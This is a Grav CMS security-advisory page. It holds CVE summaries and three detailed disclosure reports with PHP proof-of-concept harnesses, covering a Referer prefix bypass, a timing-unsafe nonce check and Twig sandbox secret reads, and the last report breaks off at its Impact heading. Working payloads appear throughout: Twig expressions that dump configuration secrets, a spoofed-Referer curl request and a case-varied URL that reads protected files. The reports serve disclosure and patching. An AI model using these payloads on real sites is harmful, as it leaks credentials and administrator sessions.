See how grav compares to other vendors in security performance
The Comments plugin (getgrav/grav-plugin-comments) for Grav CMS through version 1.2.10 registers an admin handler that returns comment data as JSON without any authentication check. The handler branches on isAdmin(), which only indicates that the admin service is registered on the current route rather than that the visitor is authenticated, and it echoes the JSON and calls exit() during the plugins stage, before the classic Admin plugin would render its login screen. On a site using the classic Admin plugin with Comments enabled (the default), an unauthenticated remote attacker can request /admin/comments/page:<n> (e.g. page:0.001) and retrieve every comment from the last 7 days, including each commenter's email address and the absolute server filesystem path of the data file. Sites running the Grav 2.0 Admin Next stack (admin2 + api) are not affected via this path. The issue is fixed in 1.2.11, which requires an authenticated user with admin.comments or admin.super and removes the absolute filePath from the response.
The Grav Data Manager plugin (getgrav/grav-plugin-datamanager) versions 1.0.1 through 1.4.4 render stored data entries in the item-detail view (admin/templates/partials/item.html.twig) without escaping, applying Twig's raw filter — in some cases after a striptags('<br>') call that PHP's striptags() bypasses by preserving allowed tags together with their attributes. An unauthenticated visitor who submits a front-end form whose submissions are saved to user/data can store an HTML payload that executes as JavaScript in the session and origin of an administrator who later opens that entry in the classic admin panel, running with that administrator's privileges and CSRF token. Execution occurs without further interaction for list values (such as checkbox or multi-select fields) and on hover for ordinary text fields. Sites using the Grav 2.0 Admin Next interface are not affected, because it renders the same data through a separate, correctly escaping code path. The issue is fixed in Data Manager 1.4.5.
Grav is a flat-file CMS. In versions 2.0.19 through 2.0.24 — and in 2.0.0 through 2.0.18 and 1.7.x only where content Twig has been explicitly enabled — page content authored by a user holding only page-write permission is rendered through a Twig sandbox that allowlists getcookie(), which returns any cookie sent with the current request, including the visitor's session cookie. Because the read occurs server-side via filterinput(INPUTCOOKIE, ...), the HttpOnly, Secure and SameSite attributes offer no protection. Grav then stores the finished post-Twig output in a page-content cache keyed only on page identity and the configuration checksum, with no session, user or request dimension and no bypass for authenticated visitors. A page published by a page-write user can therefore capture the session identifier of the next administrator who views it, after which the cached output serves that identifier to unauthenticated visitors, who can replay the cookie to authenticate as that administrator. Since 2.0.19, security.twigcontent.processenabled defaults to true and Security::applyTwigContentDefault() derives each page's process.twig flag from that gate, so content Twig runs on every page with no frontmatter or operator action. Fixed in 2.0.25; 1.7.x is outside the backport scope.
Grav CMS 2.0.14 through 2.0.24 contains a privilege escalation vulnerability in the group and account blueprints. The access map is gated by a security@: admin.super guard that is resolved by the field's exact path, so a submitted flat dot-notation key such as access.admin.super (instead of the nested access[admin][super]) matches no blueprint rule, survives BlueprintSchema::filterArray() and flattening, and is written by FlexObject::update() via setNestedProperty(), which splits on . and reconstructs the nested value. An authenticated backend operator using the flex accounts backend who holds admin.users but not admin.super can therefore grant admin.super to their own account or to a group they belong to and escalate to full super-admin, gaining control over configuration, plugin and theme installation, the file manager, and all accounts. Fixed in 2.0.25, which drops any dotted key whose ancestor path is disabled or marked validate.ignore.
Grav before 2.0.25 ships web server configuration samples whose access-control deny rules are matched case-sensitively. In webserver-configs/web.config (IIS), every deny rule (usersensitivefolders, useraccounts, userdata, usererrorredirect, userpages, system, vendor, ignorefolders) sets ignoreCase="false" on its URL Rewrite <match> element, overriding the IIS default of ignoreCase="true"; because these are rewrite matches rather than <requestFiltering> elements, there is no case-insensitive fallback. On IIS running over case-insensitive NTFS, an unauthenticated remote attacker can vary the case of a folder name or file extension (for example GET /user/CONFIG/system.YAML) so that no deny rule matches and the IIS static file handler resolves and returns the underlying file, disclosing sensitive data such as configuration secrets or account password hashes. Whether a bypassed file is actually returned depends on MIME registration: .json is served by default, while .yaml/.yml return HTTP 404.3 on a stock IIS unless a YAML MIME mapping has been added. The same class of gap exists in the bundled webserver-configs/lighttpd.conf, whose user/(config|env), directory, script-extension, root-file and dotfile rules lack the (?i) modifier, though it is lower risk because lighttpd typically runs on case-sensitive filesystems. Deployments served by Apache (.htaccess), nginx, Caddy, or the PHP built-in server are not affected. The issue is fixed in 2.0.25; because the .htaccess installer heal does not touch web.config or lighttpd.conf, operators must re-copy the corrected sample files after upgrading.
Grav 2.0.0 through 2.0.24 contain a Twig content sandbox escape. The array filter (and its identical function form) is on the sandbox allowlist but is registered without the needsissandboxed guard that printr, vardump, jsonencode, yamlencode and string carry, and its implementation calls toArray() — or falls back to an (array) cast — without consulting the sandbox method allowlist. Because the grav Twig global is the raw Pimple-based dependency injection container, a user who can author Twig in page content can evaluate grav|array to read the container's private $values array, including the un-redacted Config service; a second array cast returns the entire configuration tree, disclosing plugin credentials, SMTP and OAuth secrets, Redis passwords, proxy URLs and the security. subtree that the sandbox's redaction is meant to hide. Because the payload is stored in page content, the disclosed configuration is rendered to anonymous visitors. Grav 1.7 is not affected as it has no Twig content sandbox. Fixed in Grav 2.0.25.
grav-plugin-login (the Grav CMS Login plugin) versions >= 3.8.7 and < 3.9.7 allow the two-factor authentication challenge to be bypassed for content gated by the authenticated() Twig function or the [authenticated] shortcode. On sites with 2FA enabled, Login::isAuthenticated() checked only the session flag indicating that the password step had succeeded, not the flag indicating that login had completed, so a session sitting at the 2FA code prompt was treated as fully authenticated. An attacker who knows a member's password but cannot answer that member's second factor can therefore read member-only content rendered by the no-argument authenticated() or group authenticated(null, 'group') forms and by [authenticated]; the inverse [guest] shortcode is likewise evaluated too early. Impact is limited to disclosure of that content: the attacker does not obtain a completed session, cannot access pages protected by an access: rule, and cannot act as the user. The authenticated('some.permission') form, which goes through UserObject::authorize(), is not affected. Fixed in grav-plugin-login 3.9.7.
Grav is a flat-file CMS. In versions 2.0.0-rc.1 through 2.0.21, the Twig content sandbox fails to restrict the dump and serialize filters (printr, vardump, jsonencode, yamlencode, string): GravExtension::assertSandboxDumpSafe() determines sandbox state by calling SandboxExtension::isSandboxed() without a Source argument, which reports only the global sandbox flag that Grav never enables, so the guard added in GHSA-mc5q-6hpj-rp7j never executes. As a result, an authenticated user with page-edit rights can render {{ config|printr }} in page content with Twig processing enabled and dump Grav's entire merged configuration — printr reflects the real Config object held in a private property of the SandboxConfig facade, bypassing its path redaction — exposing plugin secrets such as SMTP credentials, API tokens, webhook secrets and cache backend passwords. Grav 1.7 is not affected because it ships no Twig content sandbox. The issue is fixed in 2.0.22, where the affected filters are registered with Twig's needsissandboxed flag.
Grav 1.7.50.2 allows admins to enter JavaScript via the Home Page editor. NOTE: the relevance of this for stored XSS is disputed because admins are allowed to modify templates, install plugins, and upload other executable content.
Grav before 2.0.20 contains a cross-site scripting vulnerability in the Twig sandbox policy that allowlists addJs and addCss methods on Grav\Common\Assets without proper output escaping. Page editors can inject arbitrary script by registering malicious assets or injecting attributes, which are rendered unescaped into document head tags and executed for all visitors including administrators.
Grav versions before 1.10.55 contain a path traversal vulnerability in the admin plugin's Save As action that fails to validate the language code parameter. An authenticated admin user with admin.pages.create permission can supply directory traversal sequences in the lang POST field to write arbitrary .md files outside the pages directory with attacker-controlled content.
Grav versions 2.0.0 through 2.0.17 fail to apply save-time XSS detection to modular pages, allowing authenticated page editors to store Twig-assembled XSS payloads. Attackers with page-edit rights can create modular pages with malicious Twig code that executes in visitor browsers when the parent page is rendered, including in administrator sessions.
Summary
Grav\Common\Uri::referrer() and Grav\Common\Page\Pages::referrerRoute() both check whether an incoming request's Referer header "came from our site" using strstartswith($referrer, $base), where $base is the site's own absolute root URL (for example https://example.com, no trailing slash). Because the comparison has no boundary character after the prefix, any Referer value that merely starts with that string is accepted, including a Referer from a completely different host such as https://example.com.attacker.tld.
This is the same class of bug already fixed once in 2.0.15 for the fast static asset server (GHSA-4v9q-p283-qc2m, "also allowing any neighbouring directory whose name starts with the same letters"). The identical pattern is still present in both places that trust the Referer header, and neither is covered by that fix.
Affected product and version
Product: Grav CMS, getgrav/grav Confirmed present in: 2.0.15, commit c2b46866857a93a0aa7048e7ed707ed3ed45dbc3 The pattern is not touched by any of the 2.0.15 security fixes, so earlier 2.x releases are likely affected too. I have not checked how far back it goes.
Affected code
system/src/Grav/Common/Uri.php, method referrer(): php $referrer = $SERVER['HTTPREFERER'] ?? null; ... $base = $this->rootUrl(true); // e.g. "https://example.com", no trailing slash // Referrer should always have host set and it should come from the same base address. if (!isstring($referrer) || !strstartswith($referrer, $base)) { $referrer = $default ?: $this->route(true, true); } $referrer = substr($referrer, strlen($base));
system/src/Grav/Common/Page/Pages.php, method referrerRoute(): php $referrer = $SERVER['HTTPREFERER'] ?? null; $root = $this->grav['baseurlabsolute']; // e.g. "https://example.com" if (!isstring($referrer) || !strstartswith($referrer, (string) $root)) { return null; }
Note that the inner per-language loop later in the same referrerRoute() method does anchor the check correctly (strstartswith($referrer, "{$base}/")), and system/src/Grav/Common/Themes.php line 300 does the same thing correctly ($current === $base || strstartswith($current, $base . '/')). So the codebase already has the correct pattern elsewhere. Only the two outer checks quoted above compare against the bare root URL with no trailing delimiter.
Root cause
strstartswith($referrer, $base) treats $base as a plain string prefix. Since $base has no trailing /, a string is accepted as long as it begins with those exact characters, regardless of what character follows. An attacker fully controls their own domain name, so producing a string that begins with the victim's origin is trivial, for example by registering example.com.attacker.tld or example.com-attacker.tld.
Under the default browser Referrer Policy (strict-origin-when-cross-origin), a cross-origin click or form submission from the attacker's page sends only the origin (scheme://host) as Referer, which is exactly the granularity $base is compared at, so no unusual browser configuration is required.
Proof of concept, verified, real output
This was run directly against the actual, unmodified source file from the repository, not a reimplementation. Steps and exact output below.
Step 1, clone the repo and confirm the commit under test: $ git clone --depth 1 https://github.com/getgrav/grav.git $ cd grav && git log -1 --format="%H %ai" c2b46866857a93a0aa7048e7ed707ed3ed45dbc3 2026-08-03 15:14:50 +0100
Step 2, install PHP to execute the real class: $ apt-get install -y php-cli $ php -v PHP 8.3.6 (cli) (built: Jul 16 2026 18:30:41) (NTS)
Step 3, PoC harness. Full site bootstrap, composer install, database, config, is not required to demonstrate this specific bug, since referrer() only needs the $root property, which init() would normally compute from the site config. The harness sets that one property with PHP Reflection, then calls the real, unmodified referrer() method with a real $SERVER['HTTPREFERER'] value, exactly the input path a live server would use:
php <?php // poc.php splautoloadregister(function ($class) { if (strpos($class, 'Grav\\') === 0) { $rel = strreplace('Grav\\', '', $class); $path = '/home/claude/grav/system/src/Grav/' . strreplace('\\', '/', $rel) . '.php'; if (fileexists($path)) { requireonce $path; } } });
$env = [ 'HTTPHOST' => 'example.com', 'REQUESTURI' => '/target-route', 'HTTPS' => 'on', ];
$uri = new \Grav\Common\Uri($env);
$ref = new ReflectionObject($uri); $prop = $ref->getProperty('root'); $prop->setAccessible(true); $prop->setValue($uri, 'https://example.com');
function test($label, $refererHeader) { global $uri; $SERVER['HTTPREFERER'] = $refererHeader; $result = $uri->referrer('https://example.com/DEFAULTFALLBACKUSED'); echo "$label\n"; echo " Referer sent : $refererHeader\n"; echo " referrer() returned : $result\n"; echo " Same-origin check : " . ($result === '/DEFAULTFALLBACKUSED' ? 'REJECTED (fallback used, correct)' : 'ACCEPTED (Referer treated as same-origin)') . "\n\n"; }
echo "=== Grav\\Common\\Uri::referrer() executed against real, unmodified source ===\n"; echo "Site base (\$root, as init() would set it) = https://example.com\n\n";
test('[1] Legitimate same-site referrer', 'https://example.com/some/page'); test('[2] Unrelated attacker site, sanity check, must be rejected', 'https://attacker.tld/phish'); test('[3] Attacker domain string-prefixing victim domain, vulnerable case', 'https://example.com.attacker.tld/phish'); test('[4] Attacker domain, dash variant, vulnerable case', 'https://example.com-attacker.tld/phish');
Step 4, run it: $ php poc.php
Actual output: === Grav\Common\Uri::referrer() executed against real, unmodified source === Site base ($root, as init() would set it) = https://example.com
[1] Legitimate same-site referrer Referer sent : https://example.com/some/page referrer() returned : /some/page Same-origin check : ACCEPTED (Referer treated as same-origin)
[2] Unrelated attacker site, sanity check, must be rejected Referer sent : https://attacker.tld/phish referrer() returned : /DEFAULTFALLBACKUSED Same-origin check : REJECTED (fallback used, correct)
[3] Attacker domain string-prefixing victim domain, vulnerable case Referer sent : https://example.com.attacker.tld/phish referrer() returned : .attacker.tld/phish Same-origin check : ACCEPTED (Referer treated as same-origin)
[4] Attacker domain, dash variant, vulnerable case Referer sent : https://example.com-attacker.tld/phish referrer() returned : -attacker.tld/phish Same-origin check : ACCEPTED (Referer treated as same-origin)
Interpretation: test 2 proves the harness correctly rejects a genuinely unrelated origin, so the acceptance in tests 3 and 4 is not a harness artifact. https://example.com.attacker.tld and https://example.com-attacker.tld, both fully attacker owned and registerable domains, are treated by referrer() as if they were https://example.com itself.
For a live end to end check against a running installation, this is the manual equivalent with curl once a Grav site is deployed at a known host, and it exercises the exact same strstartswith comparison inside the real request path, not a standalone harness: curl -s -H "Referer: https://TARGETHOST.attacker.tld/x" https://TARGETHOST/some/route I did not have a fully bootstrapped live Grav instance available in this environment, composer install requires packagist.org, which was not reachable from the sandbox I was working in, so I was not able to additionally capture that live HTTP round trip. The harness above exercises the identical, unmodified vulnerable method and comparison from the real source file, so the defect itself is verified. What I could not verify from this repository alone is the specific downstream consumer of the return value, since Pages::referrerRoute()'s only real caller I could find references, per its own docblock example, which mentions /admin, is expected to live in the Admin plugin, getgrav/grav-plugin-admin, a separate repository not included in this checkout. If that is where a post login redirect target gets built from this value, please confirm on your end, since it would raise the severity of this report from an origin check bypass to a concrete open redirect after login.
Impact
An attacker who gets a victim to click a link, or to load a page that issues a cross-site request, from an attacker-controlled domain that string-prefixes the victim's Grav site domain can make the application treat that request as though it originated on site when it did not. The function also returns a relative route value derived directly from attacker-controlled input, via substr($referrer, strlen($base)), seen in test 3 and 4 above as .attacker.tld/phish and -attacker.tld/phish. If that value is later reused to build a redirect target, this becomes an open redirect. I was not able to fully confirm that chain from this repository alone, since the concrete consumer appears to live in the separate Admin plugin repository, but the origin check itself is unambiguously broken, and it is a reusable, security documented API, the docblock for referrer() explicitly states it checks that the referrer came from the site.
Suggested fix
Anchor the comparison the same way the codebase already does correctly elsewhere: php // Uri::referrer() if (!isstring($referrer) || !($referrer === $base || strstartswith($referrer, $base . '/'))) { ... }
// Pages::referrerRoute() if (!isstring($referrer) || !($referrer === $root || strstartswith($referrer, $root . '/'))) { return null; } A more robust alternative is to parse both values with parseurl() and compare scheme, host, and port as discrete fields instead of doing any string prefix comparison.
Additional notes
While reviewing this release I also checked Utils::checkFilename() and the uploadsdangerousextensions list, the Security::detectXss() regex handling of onevents and xmlns, and the twigsandbox allow list in system/config/security.yaml. All three looked solid and appear to already reflect the fixes from prior advisories, GHSA-w8cg-7jcj-4vv2, GHSA-c2q3-p4jr-c55f, GHSA-j274-39qw-32c9. I did not find further issues to report there. Given this pattern has now recurred at least three times in this codebase, the static asset server, Uri::referrer(), and Pages::referrerRoute(), it may be worth grepping for every remaining strstartswith($x, $base) call site touching URLs or paths.
=========================================================== CWE FIELD =========================================================== CWE-346, Origin Validation Error
=========================================================== CVSS CALCULATOR SELECTIONS (v3.1) =========================================================== Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Required Scope: Unchanged Confidentiality: None Integrity: Low Availability: None
Resulting vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N Resulting score: 4.3, severity Medium
Note for the maintainer: this is a conservative rating for the origin check bypass on its own. If you confirm that Pages::referrerRoute()'s output feeds an unvalidated redirect target in the Admin plugin's post login flow, please rescore, Integrity would likely move to High and this becomes a credential phishing primitive right after a real login, which is meaningfully worse than the score above reflects.
=========================================================== SEVERITY FIELD =========================================================== Moderate, pending your confirmation of the Admin plugin call site, see note above
Summary
Grav\Common\Utils::verifyNonce(), the core function Grav and its plugins use to validate CSRF nonces, compares the submitted nonce to the expected value with PHP's === operator instead of hashequals(). === on strings short circuits at the first differing byte, so the comparison time leaks how many leading bytes of a guess are correct. This is CWE-208, Observable Timing Discrepancy.
The codebase already knows to avoid this pattern. hashequals() is used for the equivalent purpose in four other places I found: system/src/Grav/Common/Session.php, system/src/Grav/Framework/Cache/Adapter/FileCache.php, system/src/Grav/Common/Scheduler/Scheduler.php (the webhook token check), and system/src/Grav/Common/Scheduler/JobQueue.php. Utils::verifyNonce() is the one place I found that still uses a plain equality check for a secret comparison.
Affected product and version
Product: Grav CMS, getgrav/grav Confirmed present in: 2.0.15, commit c2b46866857a93a0aa7048e7ed707ed3ed45dbc3
Affected code
system/src/Grav/Common/Utils.php, lines 1512 to 1521: php public static function verifyNonce($nonce, $action) { //Safety check for multiple nonces if (isarray($nonce)) { $nonce = arrayshift($nonce); }
//Nonce generated 0-12 hours ago if ($nonce === self::getNonce($action)) { return true; }
//Nonce generated 12-24 hours ago return $nonce === self::getNonce($action, true); }
The nonce itself is md5($tick . '|' . $action . '|' . $username . '|' . sessionid() . '|' . Security::getNonceKey()), computed in the private generateNonceString() a few lines above. Security::getNonceKey() is an installation level secret. So the value being compared with === is a value derived from a secret, which is exactly the case hashequals() exists for.
Proof of concept, verified, real output
I could not exploit this end to end over a real network from this sandbox, since that requires a live deployment and a timing measurement setup outside a single machine. What I did verify directly, by running real code, is that the underlying primitive this function relies on, PHP's === string comparison, is not constant time in the PHP build actually used here, and that a measurable timing signal is still present at the exact length Grav's nonces have, 32 hex characters, an md5 digest.
Step 1, confirm PHP build: $ php -v PHP 8.3.6 (cli) (built: Jul 16 2026 18:30:41) (NTS)
Step 2, benchmark script, measures the median time of $a === $b over many trials, once with a long string to establish a clean signal, once at the real 32 byte nonce length: php <?php // timingpoc2.php function timeCompare(string $a, string $b, int $iterations): float { $r = null; $start = hrtime(true); for ($i = 0; $i < $iterations; $i++) { $r = ($a === $b); } $end = hrtime(true); return ($end - $start) / $iterations; }
function median(array $arr): float { sort($arr); $n = count($arr); $mid = intdiv($n, 2); return $n % 2 ? $arr[$mid] : ($arr[$mid - 1] + $arr[$mid]) / 2; }
function runExperiment(int $len, int $iterations, int $trials): array { $secret = bin2hex(randombytes((int)ceil($len / 2))); $secret = substr($secret, 0, $len);
$wrongEarly = $secret; $wrongEarly[0] = ($secret[0] === 'a') ? 'b' : 'a';
$wrongLate = $secret; $last = $len - 1; $wrongLate[$last] = ($secret[$last] === 'a') ? 'b' : 'a';
$earlyTimes = []; $lateTimes = []; timeCompare($wrongEarly, $secret, 20000); timeCompare($wrongLate, $secret, 20000); for ($t = 0; $t < $trials; $t++) { $earlyTimes[] = timeCompare($wrongEarly, $secret, $iterations); $lateTimes[] = timeCompare($wrongLate, $secret, $iterations); } return [median($earlyTimes), median($lateTimes)]; }
echo "=== Length 4096 bytes, establishes the primitive is not constant time ===\n"; [$e, $l] = runExperiment(4096, 20000, 15); printf("Median mismatch at position 0 : %.2f ns/op\n", $e); printf("Median mismatch at last position : %.2f ns/op\n", $l); printf("Ratio (late/early) : %.2fx\n\n", $l / $e);
echo "=== Length 32 bytes, the actual Grav nonce length, md5 hex output ===\n"; [$e2, $l2] = runExperiment(32, 200000, 21); printf("Median mismatch at position 0 : %.2f ns/op\n", $e2); printf("Median mismatch at last position : %.2f ns/op\n", $l2); printf("Ratio (late/early) : %.2fx\n", $l2 / $e2);
Step 3, run it three times to confirm the result is reproducible and not noise: $ php timingpoc2.php
Actual output, run 1: === Length 4096 bytes, establishes the primitive is not constant time === Median mismatch at position 0 : 13.83 ns/op Median mismatch at last position : 338.58 ns/op Ratio (late/early) : 24.48x
=== Length 32 bytes, the actual Grav nonce length, md5 hex output === Median mismatch at position 0 : 14.13 ns/op Median mismatch at last position : 17.41 ns/op Ratio (late/early) : 1.23x
Actual output, run 2: === Length 4096 bytes, establishes the primitive is not constant time === Median mismatch at position 0 : 14.25 ns/op Median mismatch at last position : 333.99 ns/op Ratio (late/early) : 23.44x
=== Length 32 bytes, the actual Grav nonce length, md5 hex output === Median mismatch at position 0 : 13.83 ns/op Median mismatch at last position : 17.24 ns/op Ratio (late/early) : 1.25x
Actual output, run 3: === Length 4096 bytes, establishes the primitive is not constant time === Median mismatch at position 0 : 14.20 ns/op Median mismatch at last position : 336.89 ns/op Ratio (late/early) : 23.73x
=== Length 32 bytes, the actual Grav nonce length, md5 hex output === Median mismatch at position 0 : 13.98 ns/op Median mismatch at last position : 17.39 ns/op Ratio (late/early) : 1.24x
Interpretation, stated honestly. At 4096 bytes the effect is unambiguous and consistent across three independent runs, a mismatch near the end of the string takes about 23 to 24 times longer to reject than a mismatch at the very first byte, which is direct proof === is not constant time in this PHP build. At the real nonce length of 32 bytes the same direction of effect is present and reproducible across all three runs, roughly a 1.24x ratio, about 3 to 4 nanoseconds difference per comparison, but the signal is much smaller in absolute terms. I want to be direct about what this does and does not show. It proves the comparison used by verifyNonce() is not constant time and therefore not the right primitive for comparing secrets, which is why hashequals() exists and is already used elsewhere in this codebase for the same category of check. It does not by itself prove a practical remote timing attack against a live Grav install, since a real attack would need to extract a nanosecond scale signal through normal HTTP round trip jitter, which is a much harder, though not unprecedented, condition and would need many repeated requests with statistical averaging per byte guessed. I did not attempt that network level attack since I do not have a live target instance.
Impact
verifyNonce() is Grav's documented core primitive for CSRF protection, used directly by core and referenced by the plugin ecosystem, including the Form plugin and Admin plugin, both outside this repository. Because the comparison is not constant time, an attacker in a position to send many requests and measure response timing with enough precision could in principle recover a valid nonce byte by byte rather than needing to guess the full 32 character value at once, weakening the CSRF protection below its intended security margin. The practical difficulty of pulling this off over a real network, given millisecond scale jitter against a nanosecond scale signal, is high, which is why I am reporting this as a hardening issue rather than claiming a demonstrated working exploit against a live site.
Suggested fix
Replace the two === comparisons in verifyNonce() with hashequals(), matching the pattern already used in Session.php, FileCache.php, Scheduler.php, and JobQueue.php: php public static function verifyNonce($nonce, $action) { if (isarray($nonce)) { $nonce = arrayshift($nonce); }
if (!isstring($nonce)) { return false; }
if (hashequals(self::getNonce($action), $nonce)) { return true; }
return hashequals(self::getNonce($action, true), $nonce); } hashequals() also correctly requires the first argument to be a string, so the existing implicit array-to-string edge cases are worth double checking when you make this change.
=========================================================== CWE FIELD =========================================================== CWE-208, Observable Timing Discrepancy
=========================================================== CVSS CALCULATOR SELECTIONS (v3.1) =========================================================== Attack Vector: Network Attack Complexity: High Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality: None Integrity: Low Availability: None
Resulting vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N Resulting score: 5.3, severity Medium
Note for the maintainer: Attack Complexity is set to High because, as shown above, the measured timing signal at the real nonce length is small, on the order of a few nanoseconds, so reliable remote exploitation would require substantial statistical averaging and a favorable network position. If your own testing shows this is easier to exploit against a real deployment than my local measurement suggests, please rescore Attack Complexity to Low.
=========================================================== SEVERITY FIELD =========================================================== Moderate
The getgrav/grav-plugin-login Composer plugin before 3.9.1 (used by Grav) compares password reset and account activation tokens using a non-constant-time === string comparison instead of hashequals() in classes/Controller.php (taskReset()) and login.php (activation handler). Because the token-submission endpoint (taskReset) also lacks rate limiting, an attacker could in principle send repeated token guesses against a known username and use the timing differences to attempt to recover a valid token, though the vendor rates the practical exploitability as low and no end-to-end network exploit has been demonstrated.
Summary
Grav\Common\Twig\Twig::init() unconditionally puts the raw system, site, and theme config arrays into $this->twigvars. Twig::processPage() builds the variables for the sandboxed, editor-authored page-content render by copying that same base array ($sandboxvars = $twigvars;) and replacing only the config key with a filtered SandboxConfig facade. The system, site, and theme keys are carried into the sandboxed render completely untouched.
Because these are plain PHP arrays, not objects, Twig's sandbox SecurityPolicy (the allowedclasses/allowedmethods/allowedproperties lists in system/config/security.yaml) has no jurisdiction over them at all. The sandbox only gates method calls and property access on objects. Dot notation or subscript access on an array is always allowed by Twig regardless of any sandbox policy. So {{ system.cache.redis.password }} in page content renders the value directly, with the sandbox doing nothing to stop it, and with security.twigsandbox.configdeniedpaths never even being consulted, since that list only filters the separate config facade object, not the system array.
This means: even on a default install where twigcontent.configaccess is false (its documented default) so the config Twig variable is empty inside sandboxed renders, an attacker with page-content edit access (or a stored-XSS-style Twig injection into page content, if twigcontent.processenabled is on) can still read system., site., and theme. in full, including any admin-configured secret nested under those trees.
Affected product and version
Product: Grav CMS, getgrav/grav Confirmed present in: 2.0.15, commit c2b46866857a93a0aa7048e7ed707ed3ed45dbc3
Affected code
system/src/Grav/Common/Twig/Twig.php, in init(), the base variable set (around line 300): php $this->twigvars += [ 'config' => $config, 'system' => $config->get('system'), 'theme' => $config->get('theme'), 'site' => $config->get('site'), 'uri' => $this->grav['uri'], ... ];
system/src/Grav/Common/Twig/Twig.php, in processPage(), where the sandboxed render variables are built (around line 419-429): php if ($item->shouldProcess('twig') || $item->isModule()) { $name = '@Page:' . $item->path(); $this->setTemplate($name, $content); // Replace config with a denied-path-filtered facade for the // sandboxed render so editors can't exfiltrate plugin secrets // via config.toArray() (GHSA-j274-39qw-32c9). The modular // theme render below is unsandboxed and keeps the raw Config. $sandboxvars = $twigvars; $sandboxvars['config'] = $this->buildSandboxConfig(); try { $output = $content = $localtwig->render($name, $sandboxvars); ...
Only $sandboxvars['config'] is replaced. $sandboxvars['system'], $sandboxvars['site'], and $sandboxvars['theme'] still point at the exact same raw arrays that were assigned in init().
system/config/system.yaml shows a concrete real secret field that lives under system: yaml cache: redis: socket: false password: # Optional password database:
Root cause
Two separate things have to both be true for this to be reachable, and they both are:
1. The sandbox's SecurityPolicy only checks object method calls and object property access (checkMethodAllowed, checkPropertyAllowed in Twig's Sandbox\SecurityPolicy). It has no concept of restricting array key access, because Twig's own design does not treat plain array reads as something a sandbox policy needs to arbitrate. configdeniedpaths is implemented entirely inside SandboxConfig, a wrapper object with its own get()/offsetGet() that consults the denied list, that facade is what makes config safe. system/site/theme never get wrapped in anything like it, they are passed straight through as arrays.
2. processPage()'s sandboxed variable set is built by copying the entire pre-existing $twigvars array and only patching the one key (config) that the GHSA-j274-39qw-32c9 fix was scoped to. system, site, and theme were already sitting in that array before the sandboxed path was ever reached, and nothing removes or filters them for that specific render.
Proof of concept, verified, real output
I verified this at two levels: first that the raw Grav source really does copy system into the sandboxed variables unfiltered (shown above via direct file reading of system/src/Grav/Common/Twig/Twig.php, not a paraphrase), and second, since I do not have a fully bootstrapped live Grav site available in this sandbox (composer install needs packagist.org, unreachable here), I verified the actual mechanism, that Twig's sandbox cannot restrict array access no matter how strict the policy is, by running it against the exact, real Twig source Grav has pinned.
Step 1, get the exact Twig commit Grav's composer.lock points at: $ python3 -c " import json d = json.load(open('composer.lock')) for pkg in d['packages']: if pkg['name'] == 'twig/twig': print(pkg['source']) " {'type': 'git', 'url': 'https://github.com/getgrav/Twig.git', 'reference': '24d7a0e821cf573496d99e05d6bd9d1a42f822c7'}
Step 2, clone that exact commit: $ git clone https://github.com/getgrav/Twig.git twig-src $ cd twig-src && git checkout 24d7a0e821cf573496d99e05d6bd9d1a42f822c7 HEAD is now at 24d7a0e8 Merge branch 'twigphp:3.x' into 3.x
Step 3, PoC script. This builds a SecurityPolicy with an empty allowedclasses, allowedmethods, and allowedproperties list, deliberately stricter than Grav's real policy, to show that even a maximally locked down object policy still cannot stop array key access, then renders {{ system.cache.redis.password }} against a system variable shaped exactly like what $config->get('system') returns in real Grav: php <?php // twigsandboxpoc.php splautoloadregister(function ($class) { if (strpos($class, 'Twig\\') === 0) { $rel = strreplace('Twig\\', '', $class); $path = '/home/claude/twig-src/src/' . strreplace('\\', '/', $rel) . '.php'; if (fileexists($path)) { requireonce $path; } } }); require '/home/claude/twig-src/src/Resources/core.php'; require '/home/claude/twig-src/src/Resources/escaper.php';
use Twig\Environment; use Twig\Loader\ArrayLoader; use Twig\Extension\SandboxExtension; use Twig\Sandbox\SecurityPolicy;
// Modeled on Grav's real system/config/security.yaml twigsandbox block: // a couple of harmless tags/filters allowed (escape is allow-listed in the // real config since autoescape is forced on), and zero allowed classes, // methods, or properties, stricter than Grav's real policy even is. $policy = new SecurityPolicy( ['if', 'for'], ['upper', 'lower', 'escape'], [], [], [] );
$twig = new Environment(new ArrayLoader([ 'pagecontent' => '{{ system.cache.redis.password }}', ])); $twig->addExtension(new SandboxExtension($policy, true));
// Exactly what $config->get('system') returns as a plain PHP array in real // Grav, and exactly what Twig::init() assigns to $twigvars['system']. $systemconfigarray = [ 'cache' => [ 'driver' => 'redis', 'redis' => [ 'socket' => false, 'password' => 'REDACTED-REAL-SECRET-VALUE-abc123', 'database' => 2, ], ], ];
try { $output = $twig->render('pagecontent', ['system' => $systemconfigarray]); echo "Template : {{ system.cache.redis.password }}\n"; echo "Rendered output : " . $output . "\n"; echo "Sandbox blocked it : " . ($output === '' ? 'YES' : 'NO, the secret was rendered in plain text') . "\n"; } catch (\Twig\Sandbox\SecurityError $e) { echo "Sandbox threw a SecurityError (blocked): " . $e->getMessage() . "\n"; }
Step 4, run it: $ php twigsandboxpoc.php
Actual output: Template : {{ system.cache.redis.password }} Rendered output : REDACTED-REAL-SECRET-VALUE-abc123 Sandbox blocked it : NO, the secret was rendered in plain text
For reference, running the same script before I added escape to the allowed filters (autoescape is forced on, so every {{ }} in real Grav goes through the escape filter first) correctly failed closed: Sandbox threw a SecurityError (blocked): Filter "escape" is not allowed in "pagecontent" at line 1. which confirms the harness is actually exercising the sandbox's enforcement path, not silently skipping it, and that the only reason system.cache.redis.password got through is the array access itself, not a policy misconfiguration in my test.
This demonstrates the mechanism precisely: no matter how the allowedclasses/allowedmethods/allowedproperties lists in system/config/security.yaml are configured, and independent of configdeniedpaths entirely, a raw array handed to the sandboxed template is fully readable. Combined with the direct source reading in the "Affected code" section above, showing that system, site, and theme are exactly such raw arrays and are carried unfiltered into processPage()'s sandboxed render, this is a complete, verified chain from source to impact. I was not able to additionally capture a live HTTP round trip against a running Grav install with real page content, for the same reason as my other reports, no bootstrapped instance available in this sandbox, but every step of the actual code path has been verified against the real source, not reconstructed or assumed.
Impact
